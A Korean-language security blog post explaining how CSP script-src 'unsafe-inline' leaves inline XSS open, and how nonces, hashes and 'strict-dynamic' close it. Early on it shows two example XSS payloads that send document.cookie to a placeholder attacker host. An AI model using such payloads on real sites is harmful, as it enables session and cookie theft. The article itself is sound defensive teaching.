RSS
보안

CSP script-src 'unsafe-inline'은 무엇을 열어 둘까?

작성자
듀오랩스 대표·10분 읽기

어떤 사이트의 응답 헤더를 열어 보면 이런 줄이 있습니다.

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'

CSP가 걸려 있으니 XSS는 막혀 있겠다고 생각하기 쉽습니다. 그런데 이 한 줄은 가장 흔한 형태의 XSS를 그대로 통과시킵니다. 차이는 'unsafe-inline' 한 단어에 있습니다.

「CSP가 있으니 안전하다」가 어긋나는 지점

흔히 CSP를 「우리 사이트에서 실행될 스크립트의 출처를 정하는 목록」으로 이해합니다. 맞는 설명입니다. script-src 'self'라고 적으면 다른 도메인에서 불러오는 <script src="https://evil.example/x.js">는 브라우저가 거부합니다.

문제는 XSS의 대부분이 바깥 파일을 불러오지 않는다는 데 있습니다. 공격자가 댓글 칸이나 검색어에 끼워 넣는 것은 보통 이런 모양입니다.

<script>fetch("https://evil.example/?c=" + document.cookie)</script>
<img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)">

둘 다 출처가 없는 스크립트입니다. 페이지 HTML 안에 직접 적혀 있으니 「어디서 불러왔는지」를 따질 대상이 아닙니다. CSP는 이런 스크립트를 인라인 스크립트로 분류하고, 기본적으로 실행하지 않습니다. 그 기본값을 끄는 스위치가 'unsafe-inline'입니다.

그래서 script-src 'self' 'unsafe-inline'은 「바깥 도메인 파일은 막고, 페이지에 끼어든 스크립트는 전부 실행한다」는 뜻이 됩니다. 공격자가 실제로 쓰는 길은 열어 두고 잘 쓰지 않는 길만 막는 셈입니다.

'unsafe-inline'이 허용하는 세 가지

MDN의 script-src 설명을 따라가 보면, 이 값이 허용하는 것은 세 종류입니다.

종류 예 'unsafe-inline' 없을 때
인라인 <script> 블록 <script>…</script> 실행 안 됨
이벤트 처리 속성 onclick="…", onerror="…" 실행 안 됨
javascript: 주소 <a href="javascript:…"> 실행 안 됨

세 번째가 자주 잊힙니다. 사용자가 입력한 주소를 링크로 그려 주는 화면(프로필의 홈페이지 칸, 즐겨찾기 목록)에서 주소의 프로토콜을 검사하지 않으면, javascript:로 시작하는 주소 하나가 곧 스크립트 실행입니다. 'unsafe-inline'이 있으면 CSP는 이것도 막아 주지 않습니다.

eval()은 이 목록에 없습니다. 문자열을 코드로 바꿔 실행하는 것은 'unsafe-eval'이라는 별도 스위치가 맡습니다. 둘을 같은 것으로 보는 경우가 있는데, 'unsafe-inline'만 빼고 'unsafe-eval'을 남겨 두면 문자열 실행 경로는 그대로 열려 있습니다.

그런데도 왜 많은 사이트가 'unsafe-inline'을 둘까

게을러서가 아니라, 프레임워크가 인라인 스크립트를 넣기 때문입니다.

React 기반 프레임워크는 서버에서 그린 HTML에 「이 화면을 브라우저에서 이어받을 데이터」를 인라인 스크립트로 함께 실어 보냅니다. Next.js의 App Router는 그 데이터를 self.__next_f.push(…) 형태의 인라인 스크립트로 넣습니다. 다크 모드 깜빡임을 막으려고 <head>에 넣는 짧은 스크립트, 분석 도구가 안내하는 설치 코드도 대개 인라인입니다.

CSP에서 'unsafe-inline'을 지우면 이 스크립트들까지 함께 멈춥니다. 화면이 비거나 버튼이 반응하지 않게 됩니다. 그래서 일단 넣어 두고 넘어가는 것입니다. 저는 이것을 나쁜 결정이라기보다 값을 치르지 않은 결정이라고 봅니다. 동작은 하지만 CSP가 XSS 방어로서 하는 일은 거의 없어집니다.

nonce와 hash, 「우리가 넣은 스크립트」를 증명하는 두 방식

해결 방향은 하나입니다. 인라인 스크립트를 전부 허용하지 말고, 우리가 넣은 것만 허용하면 됩니다. 브라우저에게 「이것은 우리 것」이라고 알려 주는 방법이 두 가지 있습니다.

nonce는 응답마다 새로 만드는 무작위 값입니다. 서버가 헤더에 script-src 'nonce-R4nd0m'이라고 적고, 자기가 넣는 스크립트에만 <script nonce="R4nd0m">을 붙입니다. 공격자가 끼워 넣은 스크립트에는 이 값이 없고, 값이 응답마다 바뀌니 미리 알아낼 수도 없습니다.

hash는 스크립트 내용 자체의 지문입니다. 헤더에 script-src 'sha256-…'처럼 허용할 스크립트의 SHA-256 값을 적어 둡니다. 브라우저는 인라인 스크립트를 실행하기 전에 내용의 지문을 계산해 목록과 대조합니다. 한 글자라도 다르면 실행하지 않습니다.

nonce hash
무엇으로 증명하나 응답마다 새로 만든 값 스크립트 내용의 지문
내용이 바뀌는 스크립트 문제없음 바뀔 때마다 지문을 다시 적어야 함
정적 페이지 어려움 (아래) 그대로 가능
이벤트 속성 onclick 막힘 막힘 ('unsafe-hashes'를 따로 줘야 허용)

둘 중 하나라도 헤더에 있으면, CSP Level 2부터의 규칙에 따라 브라우저는 같은 줄의 'unsafe-inline'을 무시합니다(CSP Level 3 명세도 이 동작을 이어 갑니다). 그래서 'nonce-…' 'unsafe-inline'을 함께 적는 경우가 있습니다. 새 브라우저는 nonce로 판단하고, nonce를 모르는 오래된 브라우저만 'unsafe-inline'으로 떨어지게 하는 호환용 장치입니다.

여기에 'strict-dynamic'을 더하면, nonce나 hash로 허락받은 스크립트가 불러오는 스크립트도 따라서 허락됩니다. 분석 도구처럼 스크립트가 다른 스크립트를 동적으로 넣는 경우를 하나하나 적지 않아도 됩니다. web.dev의 엄격한 CSP 안내가 이 조합을 권합니다.

정적 사이트에서 nonce가 비싼 이유

nonce는 응답마다 달라야 의미가 있습니다. 미리 만들어 둔 HTML 파일을 그대로 내보내는 정적 사이트는 모든 방문자에게 같은 바이트를 보내니, 같은 nonce를 쓰게 됩니다. 그러면 공격자도 그 값을 읽어 자기 스크립트에 붙일 수 있습니다.

그래서 nonce를 쓰려면 요청이 올 때마다 페이지를 새로 그려야 합니다. Next.js의 CSP 안내도 nonce를 쓰면 페이지가 동적 렌더링으로 바뀐다고 적고 있습니다. 정적으로 캐시해서 내보내던 페이지가 매 요청 서버에서 그려지게 되니, 호스팅 비용과 응답 시간이 함께 움직입니다.

hash는 이 문제가 없습니다. 내용이 고정된 스크립트라면 지문도 고정이라, 빌드할 때 계산해 헤더에 넣어 두면 정적 페이지 그대로 쓸 수 있습니다. 다만 앞에서 본 프레임워크의 데이터 스크립트처럼 페이지마다 내용이 다른 인라인 스크립트가 있으면, 페이지마다 지문이 달라집니다. 이걸 빌드 단계에서 모아 헤더에 넣어 주는지는 프레임워크와 버전에 따라 다릅니다. 이 부분이 실제로 해 보기 전에는 판단하기 어려운 지점입니다.

script-src와 style-src의 무게 차이

style-src 'unsafe-inline'도 자주 보입니다. 이름이 같아서 같은 무게로 다루기 쉬운데, 저는 우선순위가 분명히 다르다고 봅니다.

인라인 스크립트는 페이지 안에서 할 수 있는 모든 일을 합니다. 쿠키와 저장소를 읽고, 사용자 대신 요청을 보내고, 화면을 바꿉니다. 인라인 스타일로 할 수 있는 공격은 훨씬 좁습니다. 화면을 가려 속이거나, CSS 선택자와 배경 이미지 요청을 조합해 입력값을 조금씩 새게 하는 기법이 알려져 있지만, 스크립트 실행과는 거리가 있습니다.

그래서 한 번에 다 고칠 수 없다면 script-src의 'unsafe-inline'을 먼저 없애는 쪽이 맞습니다. 스타일은 CSS-in-JS 라이브러리가 인라인 스타일을 넣는 경우가 많아서 없애는 비용도 더 큽니다.

CSP는 두 번째 방어선

마지막으로 CSP의 자리를 짚어 두겠습니다. XSS의 첫 번째 방어선은 출력할 때 이스케이프하는 것입니다. React는 {변수}로 넣은 문자열을 기본적으로 이스케이프하니, dangerouslySetInnerHTML을 쓰거나 사용자 입력을 href에 그대로 넣는 곳만 조심하면 대부분이 막힙니다.

CSP는 그 첫 줄에 구멍이 났을 때 실행을 막는 두 번째 줄입니다. 'unsafe-inline'이 있는 CSP는 이 두 번째 줄이 비어 있는 상태입니다. 평소에는 차이가 보이지 않습니다. 첫 줄에 구멍이 하나 생긴 날에야 차이가 드러납니다.

특히 그 페이지가 로그인한 사용자의 데이터를 다루거나, 권한 있는 다른 서비스에 요청을 보낼 수 있다면, 두 번째 줄을 채우는 일의 무게가 커집니다. XSS 하나로 할 수 있는 일이 그만큼 늘어나기 때문입니다.

확실하지 않은 부분

브라우저마다 CSP Level 3 지원 범위가 조금씩 다르고, 'strict-dynamic'이나 'unsafe-hashes'를 모르는 오래된 브라우저도 남아 있습니다. 프레임워크가 인라인 스크립트에 nonce나 hash를 얼마나 자동으로 붙여 주는지는 버전마다 바뀝니다. 실제로 적용할 때는 헤더를 바로 강제하기보다 Content-Security-Policy-Report-Only로 먼저 걸어, 무엇이 막히는지 보고만 받는 기간을 두는 편이 안전하다고 봅니다.

마지막 수정:

공유하실 때는 출처(Duolabs)와 원문 주소를 표시해 주세요.